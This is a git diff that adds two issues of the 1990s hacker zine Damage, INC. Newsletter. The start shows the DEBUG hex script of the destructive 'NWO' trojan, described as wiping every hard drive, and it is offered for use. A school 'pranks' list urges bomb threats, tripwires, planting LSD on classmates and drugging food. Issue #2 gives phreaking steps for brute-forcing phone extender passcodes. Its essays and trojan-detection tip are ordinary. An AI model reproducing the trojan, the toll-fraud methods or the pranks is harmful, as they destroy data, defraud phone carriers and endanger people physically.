10 D1 D3 80 FB 17 72 +E 0270 C2 D1 ED 4A 75 04 AD 95 B2 10 D1 D3 81 E3 DF 00 +E 0280 86 DF EB B4 33 C0 06 BB 00 01 53 8B D8 8B C8 8B +E 0290 D0 8B E8 8B F0 8B F8 CB 03 00 02 0A 04 05 00 00 +E 02A0 00 00 00 00 06 07 08 09 01 02 00 00 03 04 05 06 +E 02B0 00 00 00 00 00 00 00 00 07 08 09 0A 0B 0C 0D 90 +E 02C0 00 00 B4 01 B9 00 20 CD 10 50 9C E4 60 E4 61 8A +E 02D0 E0 A0 00 0C 80 E6 61 86 E0 04 9D FA B0 20 E6 20 +E 02E0 00 00 58 E9 20 01 4E 57 4F 20 2D 20 4E 65 77 20 +E 02F0 57 6F 00 3A 72 6C 64 20 4F 72 64 65 72 20 02 01 +E 0300 0D 00 A0 0A 54 68 65 20 41 70 6F 63 61 6C 79 70 +E 0310 73 00 6A 0B 69 73 20 6E 65 61 72 2E 1B 82 C2 19 +E 0320 64 79 69 6E 67 24 74 69 6D A9 8A 1A 6F 4A 16 72 +E 0330 65 44 A9 1E 59 6F 75 12 67 11 2A 55 0D 57 74 14 +E 0340 B2 28 24 73 0E 22 61 6E 0F 25 A5 77 3F 6E 37 73 +E 0350 26 4E 94 A8 31 79 2A 68 61 76 41 04 13 48 6F 20 +E 0360 70 61 79 30 20 66 64 C1 75 63 6B 25 10 72 69 63 +E 0370 65 9D 89 6E AF 24 72 6F 6A CA 82 46 32 4D 6A 75 +E 0380 73 74 22 B3 74 75 6B 63 45 28 94 B9 73 79 10 65 +E 0390 6D 2E 24 43 AC 02 0E 0A 0F 20 6F 66 20 50 A8 44 +E 03A0 61 6D 61 67 3C 49 6E 63 8C A2 FC C7 72 61 18 64 +E 03B0 AA 28 D8 6E 1C 05 73 70 D0 A5 4A 6B 4D 66 1C B1 +E 03C0 74 E1 07 E2 6C 66 21 FC B4 03 B0 01 00 7E B5 00 +E 03D0 B1 01 B6 00 B2 80 CD 13 0E B7 D4 01 0E FF 0E 02 +E 03E0 75 FD 03 0E 03 01 0E 01 01 2A D5 75 46 81 03 46 +E 03F0 81 03 46 3D 01 81 03 38 0E B2 02 E8 0F 00 E8 05 +E 0400 00 0C 03 09 00 FE C2 80 FA 18 75 F0 EB 12 00 00 +E 0410 52 8A C2 B9 88 13 33 D2 BB 21 01 CD 26 83 C4 02 +E 0420 00 00 5A C3 B8 40 00 8E D8 B8 7F 7F A3 72 00 EA +E 0430 00 00 F4 86 FF FF 00 FC 01 4C 07 06 00 FF +RCX +033E +W +Q +------------------------------------------------------------------------------- + +NWO is a powerful trojan that nukes the cursor, keyboard, and all hard drives +(C: to Z:) on the system. It also writes a New World Order message to every +hard drive. Upon completion, it coldboots the victim's system. We recommend +being cautious with NWO. Use at your own risk. Damage, INC. isn't responsible +if you nuke yourself with anything that we release. In the next issue, we're +planning to include a copy of RAZORBACK...if it has been fully tested and is +ready. At any rate, enjoy NWO by Damage, INC. + + +ú---[The Journalist's Top Ten List. ]---ú + + + One of the regular features of the Damage, INC. Newsletter will be my +top ten list. Yes I stole the idea from David Letterman, but who cares? :) +This list will be funnier than his, so read on! + After one of the shortest summers to date, school is back in, and for all +you suckers out there who have to attend, there are a few simple things that +can make school-life into a bearable day. + But remember, in the event that you get caught, you cannot reveal +anything regarding a "damaging" newsletter or some such shit. + + +{TOP TEN} List of Pranks to pull at school: +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + 1. At lunch hour, drop a *BANANA* (not a banana-peel) into a congested + hallway. Watch as people walk over or around the banana, but when + your mark is the high-school snob who keeps his/her nose pointed to + the ceiling, you're sure to be in for a laugh. + 2. A oldie but goodie, try and exchange the O'Canada tape for Adam Sandler + or Howard Stern. It has to be something with bad taste, otherwise the + joke just isn't fun! ;) + 3. When a minor-niner asks you for directions, give him the directions + to the principal's office, then go to an empty room and page the + principals secretary. Tell her you are a new teacher here, and this + student just started masturbating in class. Only do this to people + who aren't suicidal ;) + 4. Tie a strand of fishing line across the bottom of some stairs in the + school somewhere. Sit back and laugh as people "launch" their books + into the crowd of people. A good one to fuck over the much-hated + "brown-noser" who deserves to have his perfect notes scattered around + the floor for everyone to steal. + 5. This one doesn't need much explanation - Go to the Party Hut in + Stone Rd. Mall and pick up a box of stink bombs. If you execute this + right, the school might have to be evacuated and you get to miss class. + 6. Another way to miss class is call in a bomb threat from the payphone + inside the school. You could even go to the lengths of creating a + "fake" bomb, complete with ticking clock. Tell the authorities you + will blow up the school if the principal does not admit to the students + he used to fuck sheep when he was a kid. (make sure you get that one + on videotape!) :) + 7. Try your hand at lock-picking. You'd be surprised at how little guilt + you feel over stealing a niner's new discman. + 8. Sneak into the Cooking class and exchange flour for custard powder, + cayenne pepper for baking soda. Fill the vanilla extract bottle with + 40% Rum instead. And if you're really generous, you could even drop + a few hits of acid in there. Once again, make sure your mark is not + suicidal! ;) + 9. Find the school's biggest browner, and when he's in the library + (when *ISN'T* the geek in the library??) slip a book into his bag when + he's not looking. The student will probably stroll right past the + detectors, and BEEP BEEP BEEP! His face will go red, and you and your + friends will be laughing hysterically in the corner. If you have a + particular hatred for this guy, slip a homemade "sheet of acid" or a + baggie full of oregano into his bag. Watch him talk his way out of that + one! + 10. Drop laxative into the new teacher's coffee. If you've never tried this + before, do it! Such a simple manoeuvre can cause so much shit its + hilarious ;) + + +{CLOSING} COMMENTS: + +The first issue of the Damage, INC. Newsletter is now a reality and a success. +The h/p scene in this area was lacking a source of information, and now we +are providing it to everyone. A forum for the discussion of these topics was +needed. It should be the duty of those in the local h/p scene to contribute +articles and lend support to us. Otherwise, the h/p scene locally will weaken +and slowly die a painful death... It's obvious that 519 is already infested +with lamers, warez pups and politically correct idiots. They are the enemy. +Don't allow them to take control of this area and destroy interest in h/p. +With continued growth, the h/p scene in this area has the potential to become +respected and powerful. That being said, Damage, INC. is proud to welcome +The Journalist as our newest Member. We also have an announcement to make: +Freedom of Information Archives is the new Damage, INC. Dist. Site. It will +distribute our releases to Guelph and surrounding area. We were already the +force in this area, but now Damage, INC. is *the* source for h/p information. +We've grown and become even stronger. ;) + +In the next issue of the Damage, INC. Newsletter, look for articles about +Big Brother and encryption, the Media, Bell, more h/p information, and more +conspiracies and corruption being exposed. Also, we are planning to include +the RAZORBACK trojan as well as a list of h/p web sites for you to check out. + +We're looking for Writers, Members and Distribution Sites. If you'd like to +apply to Damage, INC. and join a respected h/p group, then download a copy of +the Damage, INC. Application Generator. If you want any of our text releases, +trojans and utilities they are available on the following boards: + +...AND JUSTICE FOR ALL - Damage, INC. WHQ, h/p/a/c/v/t, no ratios, invite only. +Freedom of Information Archives - Damage, INC. Dist. Site, h/p/a/c/v/t. + +In the future, we plan to setup the Damage, INC. web site to distribute our +releases. If you have any comments or suggestions, contact us at one of the +boards above. + +- EOF diff --git a/textfiles.com/groups/DAMAGEINC/damage.002 b/textfiles.com/groups/DAMAGEINC/damage.002 new file mode 100644 index 00000000..c7ae2c72 --- /dev/null +++ b/textfiles.com/groups/DAMAGEINC/damage.002 @@ -0,0 +1,1232 @@ + + ÛÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛ ÛÛÛÛÛÛÝ ÞÛÛÛÛÛÛ ÛÛÞÛÛÛÛÛÛÝÛÛÛÛÛÝ + ÍÍÍÞÛÛÛ ÛÛÛÍÞÛÛ ÛÛÛÍÞÛÛ ÛÛÝÞÛÝÞÛÛ ÛÛÛÍÞÛÛ ÍÍÍÍ ÛÛÜÜÜ ÍÍÍÍÍÞÛÝÛÛÝ ÞÛÝÞÛÛÝÍÍÍÍÍÍ +ÍÍÍÍÛÛÝ ÛÛÛÍÛÛÝÛÛÛÛÍÛÛÝÞÛÛÍÛÛÍÛÛÝÛÛÛÛÍÛÛÝÍßÛÛÝÞÛÝßßßÍÍÍÍÍÍÛÛÞÛÛ ÛÛ ÛÛÝ ÍÍÍÍÍ + ÞÛÛÛÛÛÛÛÛÞÛÛÛ ÛÛÛÞÛÛ ÛÛÝÞÛÝÞÛÛÛ ÛÛÛÞÛÛÛÛÛÛÛÝÛÛÛÛÛÛÛ ÛÛÝÞÛÝÛÛÝ ÞÛÝÞÛÛÛÛÛÝÛÛÝ + "The name speaks for itself!" ÞÝ + + Presents the + + Damage, INC. Newsletter + + October 1997 Issue #2 + + "Fighting Corruption with Information." + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + C O N T E N T S : + + +INTRODUCTION - An Introduction to the Damage, INC. Newsletter. + +BIG BROTHER BASHING - Encryption and Big Brother's need for control. + Search String: {BIG BROTHER} + +BLACKENED'S TIP OF THE MONTH - Detecting trojans using a hex editor. + Search String: {BLACKENED} + +CONSPIRACIES AND COVERUPS - The War Against Unions. + Search String: {COVERUPS} + +CORRUPTION AND GREED - Bell TotalVision...the start of a total monopoly. + Search String: {GREED} + +H/P INFORMATION AND NEWS - Extenders and h/p News. + Search String: {NEWS} + +INTERVIEWS AND INTERROGATIONS - An interrogation of LORDICON. + Search String: {INTERVIEWS} + +LETTERS TO THE EDITOR - Feedback from Aenima about the Damage, INC. Newsletter. + Search String: {LETTERS} + +OBJECTIVE OPINIONS - Hacking and Hollywood. + Search String: {OPINIONS} + +REPORTS FROM THE FRONT - Social Engineering. + Search String: {REPORTS} + +SOURCE AND SCRIPTS - The RAZORBACK trojan by Damage, INC. + Search String: {SOURCE} + +THE JOURNALIST'S TOP TEN LIST - Phun things to do in the Fall + Search String: {TOP TEN} + +CLOSING COMMENTS - BLACKENED'S Inspirational Closing Comments. + Search String: {CLOSING} + +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + + +INTRODUCTION: Greetings and salutations to our loyal readers. Welcome to the + second issue of the Damage, INC. Newsletter. This issue includes + more h/p information, interesting articles, an interrogation and + the RAZORBACK trojan. The contents has been changed to make it + easier to read and use. Personally, I think it's an improvement. + There were so many articles written for this particular issue + that we couldn't publish all of them. That does not mean we + aren't accepting new writers though, as we are always interested + in articles that contain different opinions and ideas. Also, if + you program and want to support us... or contribute in some way, + contact us. To all of our readers: Read, learn, experiment and + explore with h/p. Lastly, enjoy reading the newsletter and the + information that is provided to you. ;) + + +BIG BROTHER BASHING - {BIG BROTHER} +Encryption and Big Brother's need for control. + +Big Brother, the "spy in the sky" is watching. Not only that, they are taking +control of encryption and taking away your right to privacy. That's correct, +Big Bro will do anything in it's power to stop you from protecting your own +privacy. Those that encrypt data (text and executable files) do so in an +attempt to keep that information private. Is there any point in locking up +something if Big Brother already has the key? No, of course not. That would +be a complete waste of time, and you would only be giving yourself a false +sense of security. Don't allow them to easily decrypt sensitive data and use +it against you as "evidence". I've researched this topic very thoroughly, and +the lengths that Big Brother goes to in order to infiltrate the personal +information of citizens sickens me. + +This article wasn't written to describe every type of encryption, nor was the +intent to teach you all all about how it works etc. The purpose is to educate +you, by showing you that many types of encryption aren't safe. Big Brother has +regulated and controlled encryption by setting standards. Anyone that follows +those standards in programming encryption routines is just helping them by +leaving a backdoor wide open for Big Bro to use against you. The NSA (National +Security Agency) in the United States is guilty of approving algorithms that +they don't trust or use for their own internal security. DES and RSA were +approved by the NSA for public use, because they know it offers citizens very +little protection against the prying eyes of Big Bro. You must take any and +all steps necessary in order to secure vital information and make sure it isn't +sitting in an unlocked safe. Unless of course, you want it to be read, stolen, +distributed elsewhere etc. + +Since many commercial encryption programs are a fucking joke, and follow the +government standards, I recommend that you avoid using them for anything. +If you really want to keep sensitive information protected, but don't know +much about encryption routines, program utilities etc. then download Vincrypt +or any other quality non-commercial encryption program. Many of them are +available on my board at no ratio. Here's a direct quote from the docs of +Vincrypt that describes what it is: + +"Well, basically what Vincrypt is, and was designed to do is keep sensitive +information protected. There have been many other programs that are out that +do along the same thing as Vincrypt, but not to the same degree. Vincrypt +incorporates a modified DES routine, RSA public-key, MPJ encryption, and a +modified PKware zip based routine. The most significant factor about this +program is the fact that it is a relatively 'dumb' program. Aside from +identifying whether or not the source file was generated with the program, it +simply processes the files without any headers of pointers. The reason for +this is to make it even more difficult to break the routine and bypass the +encryption due to file common information (such as how all government letters +say TO: FROM: DEPT:, etc)." + +Also, you can use it on text and executable (COM, EXE) files. If you want to +know more about encryption, find CRYPTFAQ.ZIP, download it and read through it +carefully. There's a vast amount of information in that FAQ, therefore there +is no point in repeating it here. In conclusion, Big Brother always seeks +control. Even the author of Vincrypt mentions Orwell's book 1984 and can see +the similarities between the book and the present. We live in very turbulent +and troublesome times. Trusting the government is a trap that can turn into a +fatal mistake faster than you can say "Billy Gates". He and his corrupt company +Micro$oft fit into the Big Brother category as well... since Windoze is setup +to invade privacy. That's another article though. ;) Be aware, take measures +to protect sensitive data and information and don't just trust everyone. If you +do, don't complain afterwards about your privacy being taken or invaded by +someone. You are responsible for your own privacy, and can't rely on anyone +else to protect you from Big Brother. I suggest that you take the first step by +getting Vincrypt or an equally good encryption program. Then create your own +unique password and encrypt anything you have that might be classified as +incriminating evidence. + + +BLACKENED'S TIP OF THE MONTH - {BLACKENED} +Detecting trojans using a hex editor: + +Thanks to the suggestion Aenima wrote to me on FoI, we have a new section in +the Damage, INC. Newsletter. ;) Every month, I will share another h/p/a/c/v/t +related tip with readers. It's up to you how the information I give out is +used. Perhaps you'll get some ideas of your own and start thinking after +reading this section. Yes, the first tip is about *detecting* trojans... and +we are trying to help people by providing them with reliable information. + +First, you'll need to have a quality Hex Editor to use. Load up TROJAN.COM +or TROJAN.EXE (or a file that you suspect to be a trojan) into a hex editor. +Second, look for MZ at the top as the first two characters if it's an EXE +file. It should be there, even if the file has been Pklited. That's just a +quick way to tell if the file is a legitimate EXE or not. Next, look at the +first page on your screen. Do you see the string "Not enough memory$" visible +anywhere? If so, that is an indication that the EXE file has been Pklited. +Is there a string of "PKLITE Copr. 1990-92 PKWARE Inc. All Rights Reserved" +on the screen? That's called a Pklite header. It shows that the file has +been compressed. However, that can be overwritten with data so that the +EXE file won't look like it's been Pklited. If that string isn't there but +the "Not enough memory$" one is, the file has more than likely been Pklited +and then altered with a hex editor or by using a utility to remove the Pklite +header. You can put the Pklite header back by using a hex editor, then you +can Pkunlite it (uncompress the file). After that, you can disassemble it +using Sourcer or the disassembler of your choice. If extra compression was +used to Pklite the file, you'll need a special Pkunlite utility. Of course, +it's available to download from AJFA at no ratio. + +You can also use your hex editor to look for other strings, such as *.COM, +*.EXE, *.*, Borland etc. by doing text searches. If you see words such as +"nuked" or any other suspicious text... then send a copy of the file to a +member of Damage, INC. and we'll test it for you and determine exactly what +it is. As a free service, we do virus/trojan research for respected users in +the hacking/phreaking scene. We will report our findings to the user that +sends us the file(s) that they don't trust. In fact, we will even disassemble +the file(s) and give you a copy of the source code if you request it. + +Recently, it's become popular to use a small utility called Mini-Chainer to +link trojans to legitimate COM and EXE files. Here's a quick and easy way +to find them. Load the file up into a hex editor. Look at the second line +on the first page. If the word "FUCK" is written there, then that basically +means someone used Mini-Chainer to link one file to another. That doesn't +necessarily mean it's a trojan, although it's possible since a lot of people +around here use that method to attach trojans to other files. I hope you find +these tips useful for detecting trojans (that are undetectable to the majority +of virus scanners, including heuristics). Of course, there are also more +complex ways that you can use a hex editor to detect trojans. Another tip is +to check the end of the file, and simply compare it to another EXE file that +you know is legit. There are other reliable, more complicated methods as well. +I'll leave disassembly tips for another issue though. ;) + + +CONSPIRACIES AND COVERUPS - {COVERUPS} +THE WAR AGAINST UNIONS + +Big business and the governments in North America are doing all that they +can to weaken unions. Twenty years ago, approximately 21 percent of the +private workforce were members of a union. That has dropped down to a mere +10 percent. As many businesses report record profit levels, the wages and +benefits for the working class have been stagnated for the past twenty +years. "Big business" is profiting immensely from the recession of the +early 1990s when the working class was victimized by layoffs, job migration, +and "downsizing". Even as the world's economy gains strength, particularly +in the United States, workers are not seeing any of the benefits. + +For the most part, the record corporate profits have been made off of the +backs of workers, not on superior products or good management. It is +cheaper for businesses to have several part-time employees instead of one +full-time employee. With no real job security, no benefits, no guarantee +for stable hours, and minimum wages, it is extremely difficult for part-time +workers to earn a decent living. In contrast to part-time employees, most +full-time employees earn higher wages, have a benefit package, stable hours +and more job security with seniority based upon their hiring date. + +The proliferation of these part-time positions is one of the issues that +the Teamsters Union fought in the recent UPS strike. They were successful +in forcing UPS to maintain all current full-time positions. The Teamsters +Union also fought for stable hours for UPS's part-time employees. One lie +that the government and big business spread during the UPS strike was "all +part-time employees want to work part-time!" There are millions of workers +throughout North America that do not agree with that statement. CNN +interviewed several striking UPS employees. Many were working part-time +for years, and admitted that they badly wanted and needed full-time positions. +UPS promised these employees full-time jobs eventually... but "eventually" +never came for them. Thankfully, UPS was stopped in its quest to make even +more money off of the backs of their employees. Unfortunately, union members +must be vigilant, because thousands of other companies are looking to maximize +profits at any cost. + +Another tactic that fat cat corporations love to use is to employ temporary +workers in a continuous cycle. Temporary workers are not their employees, +and therefore have no link to the company. These workers aren't treated +like human beings, but like a tool that is used and then disposed of when +it is no longer needed. Temporary workers also have to live with the fact +that they are only making a portion of what the company is paying for their +services. Being an employee of a temporary agency is a sickening experience. +If it weren't for labour unions, all members of the working class would be +treated the same way that non-unionized temporary workers are today. + +Unions are now in a fight for survival. In July, the government of Ontario +proposed a law to take away the right to strike from municipal, education, +hospital, and other public workers. The public unions retaliated by +threatening to initiate province wide walkouts. Premier Mike Harris, afraid +that the public would hold him responsible for the potential walkout, backed +down. He then promised to "restore the right to strike" in an amendment. +Harris then changed his tactics. Instead of attacking all public sector +workers, he seems to be attacking one faction at a time. Former Education +Minister John Snoblen, one of Harris' puppets, announced that would make the +school year longer, and that he wants to strip the right to strike from +teachers. He also wants to eliminate up to 10,000 jobs in addition to cutting +$1 billion from Ontario's education system. In order to protect their union +and maintain their rights, the teachers have initiated an "illegal" strike. +Instead of negotiating with their employees in good faith, the government is +attempting to take any kind of leverage or strength away from the public +worker's union. And whatever the government does to help themselves in their +own labour problems eventually helps greedy "big business" as well. + +It is sickening how many people have adopted a negative view towards unions. +They focus more on negative scandals, instead of the benefits that labour unions +have obtained for its members. When the name Jimmy Hoffa, the former Teamsters +Union President, is mentioned, he is remembered more for being convicted of +jury tampering and misappropriation of union funds. Meanwhile, he was +responsible for signing the first U.S. contract with trucking companies, giving +truckers more job security and better working conditions. Another example is +very recent. Teamsters president Ron Carey was responsible for the union's +victory over UPS. However, it has come to light that his campaign managers +misappropriated union funds in order to finance his successful run at the +presidency of the union. In my personal opinion, unions are too important to +be destroyed by the greed of some of the union's executives. The fact remains +that without unions, all the people that consider themselves to be in the +working class would be at the mercy of upper management. One employee who +stands up for better working conditions and pay is the next employee to be +fired. It takes all the employees united together in order to get their CEO's +attention. + +There is a conspiracy to destroy unions, not only in Ontario but in the rest +of North America. The government always sides with big business whenever +there's a dispute or large scale strike. Plus, big business has more power +and influence in government than most citizens realize. They stick together +in their goal to enslave the working class, remove our rights, benefits, +job security and keep wages low. The auto industry is a perfect example of +how the large companies make sure the UAW (United Auto Workers) isn't given +too much in contract negotiations. They protect each other. It's time for +the working class to unite and fight back. Fight fire with fire. + + +CORRUPTION AND GREED - {GREED} +Bell TotalVision...the start of a total monopoly. + +The media has recently been releasing a lot of reports and articles on Bell. +I've personally been keeping a close eye on that company, and feel they are +on the verge of a total monopoly. As in, a monopoly comparable to the +magnitude of Micro$oft and its control of the software industry. I will +explain in further detail by quoting from an article that I read recently, +and paraphrasing from a Quebec television program. + +The headline reads "Bell Canada rolls out TV cable trial in London, Ont." +That's right, Bell is doing market trials in London, Ont. and Repentigny, Que. +It's their first step towards a total monopoly on the telephone, TV and +Internet service industries. The Canadian Press article starts off by saying +"Ma Bell has fired a shot over the bow of the cable television industry, +rolling out big-gun interactive technology in a fight to win the hearts and +wallets of viewers." The wallet comment is pure truth. That is always the +goal of Bell Canada, and has been since the inception of that corrupt, greedy +organization. + +Is Bell really seeking a total monopoly? Here's another quote: "The outcome +could see a single company look after all the communication and entertainment +needs of a subscriber - phone, interactive TV and high-speed Internet." That +should clarify their motives a little. Terry Jarman, Bell's group vice- +president for business development was quoted as saying "TotalVision is a first +for Bell and for our customers." That's a very obvious statement, since this +is the first attempt by Bell to dominate three different industries and gain +a total monopoly. TotalVision=Total Monopoly. That equation shouldn't be too +difficult for our readers to understand. + +Jarman also said that consumers will be the big winners and that "TotalVision +is ushering in a whole new level of programming choice and quality." Quality? +That must be questioned by us as consumers. Judging by Bell's past inferior +quality and service in the telephone industry, TotalVision will be Total Shit. + +According to the article, there will be a package that starts at $19.95 a +month for 26 channels of programming that's already available locally on +Rogers Cablesystems. I'm not defending Rogers by any means, just giving you +the necessary information on cost etc. The $19.95 is what Bell claims their +TotalVision will start at, but of course that can easily change without notice. +Also, that is the most basic package, nothing more than normal cable TV in my +opinion. The article goes on to say "Subscribers will be able to build their +own TV menu by adding themed bundles of channels - such as news and sports - +plus specialty stations to the basic offering." Again, Rogers offers a very +similar "specialty station" and "Cable plus" type of service. Therefore, +Bell isn't revolutionizing anything by being innovative and creative. + +Jarman also said that "TotalVision promises sharper picture and better sound +quality through digital technology." It also comes with an interactive program +guide, an on-screen device that "transforms regular channel surfing into a +high-tech art" according to the Canadian Press. Haha. It has station lock-out +capabilities (many TV devices offer that already) and a what's-on-right-now +feature. "With a hand-held converter, viewers can select a week's worth of +viewing by subject, title or channel." "The converter can also remind a viewer +when a favorite program is about to start." Those features might sound nice, +but don't be influenced into thinking they were difficult to implement. Here +is the best part, "Bell customers also will be offered high-speed Internet +access, either through a personal computer or the television." Man, Bell sure +is getting into the cable TV and Internet service market quickly. They must +have realized how much cash is involved, and want to grab as much of the market +as they can. + +Jarman also said that "more choices - not anti-cable industry sentiment - will +be the biggest motivator for people in the test area to switch to Bell." +Why didn't he just speak the truth, and say that influence, propaganda, +ignorance and naiveness by Bell customers are the biggest factors. The zombies +want to support Bell, remain loyal to them, and help them build a gigantic +monopoly. The government, politicians etc. are already trying to tell people +to switch to Bell. And I quote London Mayor Dianne Haskett "the initiative +will help keep the city in the forefront of technological change." That's a +direct attempt by the mayor to influence the citizens of London to try +TotalVision and give Bell money. They are expecting as many as 1,500 +subscribers signed up by the end of this year in London, about 3,500 households +in both London and Repentigny, before they expand and try to reach millions of +other TV subscribers across the country. Bell's plans for a total monopoly are +crystal clear as far as I'm concerned. Owning a monopoly on local telephone +service isn't enough for those greedy Bell bastards. They want "TotalControl", +which is what TotalVision equates to being. I can't even imagine the poor +customer service you'd receive, when you encounter problems with cable or +internet usage. If it's anything like their current "customer service" then +the word poor won't begin to describe it. In summary, watch out for +TotalVision. If it's offered in your area, do some research first before +switching and paying the price. Bell will use every marketing tactic, and every +trick in the book (including underhanded payoffs, undercutting the competition +for a couple of months etc.) to urge you, sway you and ultimately influence you +into switching to Bell TotalVision. Don't be fooled like a zombie. Make an +intelligent, informed choice. Don't base your decision on their expected, +upcoming commercials and other advertising but rather on facts and real +information. + + +H/P INFORMATION AND NEWS - {NEWS} + +If the thought of using an extender, or the mention of the word itself makes +you shudder in fear then quit reading now. The information discussed in this +section is for informational purposes only. If and how you use it is your own +choice, and we aren't responsible for any consequences that might result. + +Extenders are mainly used to call ld for free. Some extenders divert, but +not all of them do. There are several quick and easy ways to find that out. +For example, if you're using 651-2252 to call Guelph from K-W... you can dial +an ANI. If it reports your phone number, then it doesn't divert. Or, if you +don't have an ANI... try calling a friend that has Caller ID and ask them what +phone number is displayed. If you don't know anyone that has Caller ID and +are desperate to know if it diverts, call a friend and ask them to hang up and +type *69 to find out the number of the last caller. + +In order to find extenders, you'll need to use a good scanner such as ToneLoc. +Download a copy of ToneLoc from a local h/p board, read the docs and take time +to set it up properly etc. Start scanning some exchanges in your local area. +Make sure you log everything. You'll soon discover that there are quite a few +tones and carriers around that you never knew existed. (Examples: 651-2252, +651-2255, 895-2255, 846-2255 etc.) Don't scan at night because you'll awaken +people. Use *67 in the dialing prefix as a small precaution. Be aware of +what you're doing and careful not to call certain numbers that will end up +getting you caught. If you use ToneLoc, you can create a list of numbers that +should never be dialed while scanning. There are also several features that +you can use for making notes of tones, carriers, VMBs etc. + +Once you've found an extender or two, and realize that there is a passcode +(usually 4+ digits)... don't despair or give up immediately. That simply +means it will have to be hacked. First, you have to determine how many digits +the passcode is. Try calling it voice (using your phone) and listening to +the recorded message... Experiment by entering in a few digits and gauge the +amount of time you are given for that task. There are things that can't be +taught in a text file, such as intuition, resourcefulness, skill, experience +and intelligence. ;) + +ToneLoc can be used to scan and hack PBXs, extenders etc. or you can use any +scanner that you prefer. There are also ways to use Telix scripts etc. for +this purpose. Hacking is much more than just reading how to do something, +learning one technique or using a scanner. It is thinking and learning on +your own. Therefore, these are just the basics to get newbies started. + +Okay, so you've found an extender and believe it has a 4 digit passcode. Now +what? You can manually try to "guess" default type passcodes if you want. +However, that isn't the most efficient way for obvious reason. A 4 digit +passcode means it is between 0000-9999. That's the range of possible choices. +That does not mean that you should try every combination. Haha! If it's a PBX +and not an extender, hack after business hours during the night (when most +offices are closed)...ToneLoc can be used to hack extenders, diverters, PBXs, +VMBs and just about any other code. In fact, there are people scanning and +hacking codes in 519 all the time. Try to stick to the 4 digit ones, and use +a diverter whenever possible. I'll discuss PBXs and VMBs in a future issue. +Also, don't scan sequentially... or dial the same numbers day after day etc. +If you have access to a remote system with a modem, then I'm sure you can figure +out a way to safely use that for scanning and hacking codes. + +Now that you've found a passcode for the extender, you'll need to use a dialing +string in Telix (or the terminal program you use) like this example: + +atdt 8952255,,,,####,,,,,8218486 + +The first number is the extender. The commas ",,,," are pauses. The #### is +the passcode. Then there are more pauses and the number of a board or whatever +you want to call. In the above example, I used distraught continuum which is a +BBS in Guelph. You will have to experiment and try different amounts of pauses +for virtually every extender that you find. As in, there are different lengths +of messages etc. Some extenders require you to enter a client number first, +then pauses, then the passcode, then more pauses and finally the number that +you want to dial. If that sounds too difficult or complex, then you might as +well forget about using extenders altogether. + + +úúúÄÄÄ H/P NEWS ÄÄÄúúú + +A 14 year old hacker in Burlington was caught hacking an estimated 500 internet +sites, military sites etc. He was recently busted at his home. There weren't +many details reported about the case, since he is a minor and the cops can't +release his information. They also wouldn't disclose how he was caught or why +he was able to hack that many sites before being caught. + +Recently, the h/p scene has improved somewhat. There's still a long way to +go though as many users still aren't educated and misunderstand what it is +about. I'd like to give credit to the newbies that *are* learning. People +such as Blade Runner have begun to read, experiment, learn and put that +knowledge into practice. I can see potential in him, and hope that he +continues to mature and evolve as well as become more involved. ;) In fact, +I might start accepting new users on my board again, to reward people that +are actually trying things and becoming dedicated. There might even be a new +h/p board online in 519 soon. Perhaps the local scene is starting to change. + +Chicago...Chicago... the city of Capone. Killing people in the streets...with +a heart of stone. +Chicago...Chicago... the city of Capone. Death is lurking everywhere...welcome +to the crime zone. + +Please allow me to introduce myself, my alias is Blackie Lawless. I am a +proud member of Damage, INC. and have been in the h/p scene for many years. +I'll be writing about any h/p news in my area that is worth reporting. Since +I just moved to Chicago recently, I'm still becoming acquainted with the local +h/p scene. I must say, I like the concept of the Damage, INC. Newsletter +though and I'm looking forward to contributing more in future issues. + + +INTERVIEWS AND INTERROGATIONS - {INTERVIEWS} + +Below is Lordicon's reply to my New User Application message on Discrete and +Elite. He laughs and tries to mock Damage, INC. That is what prompted me to +interrogate him. I was very sarcastic with some of my comments and didn't +answer any of his questions truthfully. Also, you'll notice that he likes +to use the phrase "lemme guess" and calls h/p "old and lame" several times. +This interrogation of Lordicon should show you how lamers talk and act. As +you'll see, he knows nothing about h/p. + + +-B is BLACKENED +-L is Lordicon/Lamer + + +ÚÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿ +³ Num ³ Date/Time ³ Sender ³ Subject ³ +ÀÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ + 1 22 Sep 1997 05:55p Lordicon Re: New User Application + +Select message (1-1) : + +Date: 5:55 pm Mon Sep 22, 1997 Number : 1 of 1 +From: Lordicon Base : Private Mail +To : Blackened Refer #: None +Subj: Re: New User Application Replies: None +Stat: Normal Origin : Local + + +B> I saw an old ad for your board on FOI... and then it was on the bbs list +B> on distraught continuum. So, I thought I'd call.. and check it out. +B> Later +B> +B> BLACKENED +B> Damage, INC. + +cool...I guess...damage Inc...HAHAHAHA...u "hacker" nerd :) + +Read mail (?=Help) : + +.ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù. +LORDICON jumps in to chat... +øù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùøøù..ùø +hi...this is your sisop speaking. -L + 